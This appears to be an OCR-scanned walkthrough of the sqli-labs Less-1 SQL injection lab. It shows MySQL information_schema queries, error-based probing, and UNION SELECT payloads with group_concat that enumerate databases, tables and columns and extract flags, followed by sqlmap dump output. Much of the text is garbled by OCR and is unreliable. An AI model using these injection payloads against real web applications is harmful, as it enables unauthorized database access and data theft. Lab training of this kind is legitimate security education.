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sql> select * from schemats ,
| CATALOG NAME m - RACTER SET NAME | DEFAULT COLLATION NAME | SOL_PATH

information_schema utf8 general ci
chal lenges gbk chinese ci
mysql utfB8_general_ci

performance schema utf8 general ci
secur ity gbk_chinese_ci

test i latinl _swedish ci
utfB general ci

7 rows in set (0.00 sec)
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TABLES 3R: 1R T X THIEETRIRVER (EERREIIHIERS (table_name))

ABLE CATALOG] TABLE SCHEMA TABLE NAME TABLE TYPE E

ef on schema CHARACTER SETS SYSTEM
JE g X - VIEW

ef — ition schema COLLATIONS SYSTEM

VIEW

formation_schema COLLATION CHARACTER SET APPLICABILITY SYSTEM
VIEW

information schema COLUMNS SYSTEM
VIEW

nformation schema COLUMN PRIVILEGES SYSTEM
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TABLE SCHEMA TABLE NAME COLUMN NAME ORDINAL POSITION
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ARACTER_SETS DESCRIPTION
information schema CHARACTER SETS MAXLEN
information_schema COLLATIONS COLLATION NAME
information schema COLLATIONS CHARACTER SET NAME
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/Less-1/?id=1 Less-1/?id=3

Welcome Dhalklan Welcome [Dhaklkan
Your Login name:Dumb Your Login name:Dummy
Your Password:Dumb Your Password:p@ssword




SQLENEfitk

BA1 BE5|SE[?id=1" ]
HATRYSQL FENZZ S select * from table name where id=1" ;
NEREE, AERIEEREREENIY, RBEEWT

Welcome

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1" at line 1
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B/Less-1/?id=1'and 1=1# ?id=T'and 1=2#

Your Login name:Dumb
Your Password:Dumb
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mysgl> select * from news where tid=1 uwnion select 1.2.3;

N



ysgl> select From news uwhere tid=188 wnion select 1.2.00@version;

row in set (A_.BA sec)
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Welcome
Your Login name:Dumb
Your Password:Dumb
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INT k4 = @ SQL* XSS~ Encryption™ Encoding™ Other~
@& Load URL http://localhost/sqli-labs/Less-1/index.php?id=1" order by 4p423
% Split URL

Execute

Enable Post data Enable Referrer

Welcome

Unknown column '4' in 'order clause'




@ 106.52.138.23:10019/Less-1/?id=-1" union select 10,20,40--+

Welcome Dhakkan
Your Login name:20

Your Password:40




(i) 106.52.138.23:10019/Less-1/7id=-1" union select 10,20,group_concat(schema_name) from information_schema.schemata--+
.~ KaliTools # KaliDocs - Kali Forums NetHunter || Offensive Security = Exploit-DB = GHDB . MSFU

Welcome Dhalklkan
Your Login name:20
Your Password:information schema,challenges,flag,mysql, performance schema,security




® 106.52.138.23:10019/Less-1/?id=-1" union select 10,20,group_concat(table_name) from information_schema.tables where table_schema="flag" --+
liTools « KaliDocs  Kali Forums || Offensive Security * Exploit-DB = GHDB ]| MSFU

Welcome Dhalklan
Your Login name:20
Your Password:flag

'flag"tB AT LAR+-753HASflagZ0x666C6167



@ 106.52.138.23:10019/Less-1/7id=-1" union select 10,20,group_concat{column_name) from information_schema.columns where table_schema='flag’ --+

liTools « KaliDocs ~ KaliForums  NetHunter || Offensive Security * Exploit-DB = GHDB ]| MSFU

Welcome Dhaklan
Your Login name:20
Your Password:id,flag



Welcome Dhaklan
Your Login name:20
Your Password:flag{sqli easy}
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SqlmapEt+nZEH. BalftaISQLEATLE.



http://sglmap.org/

[13:46:13] [WARNING] changes made by tampering scripts are not included in shown payload content (s)
[13:46:13] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.4.45, Apache 2.4.23

uack end DBMS: MySQL »>= 5.0.12

3:46: =_ LINFO] fetching columns for table :f_l_
3:46:15] [INFO] fetching entries for table 'flag in database ’security
[13 46: 16] [ﬂﬁRKI\G] something went wrong %lth full L\IO\ technlque (could be because of limitation on retriev

entries

_\FH the SQL query

113:46:18 used return

[13:46:19] [INFO] analyzing iEf;}.ﬁLlﬁ fo
Database: securlty

able: flag

[1 entry]

flag
flag{hell0 csg}
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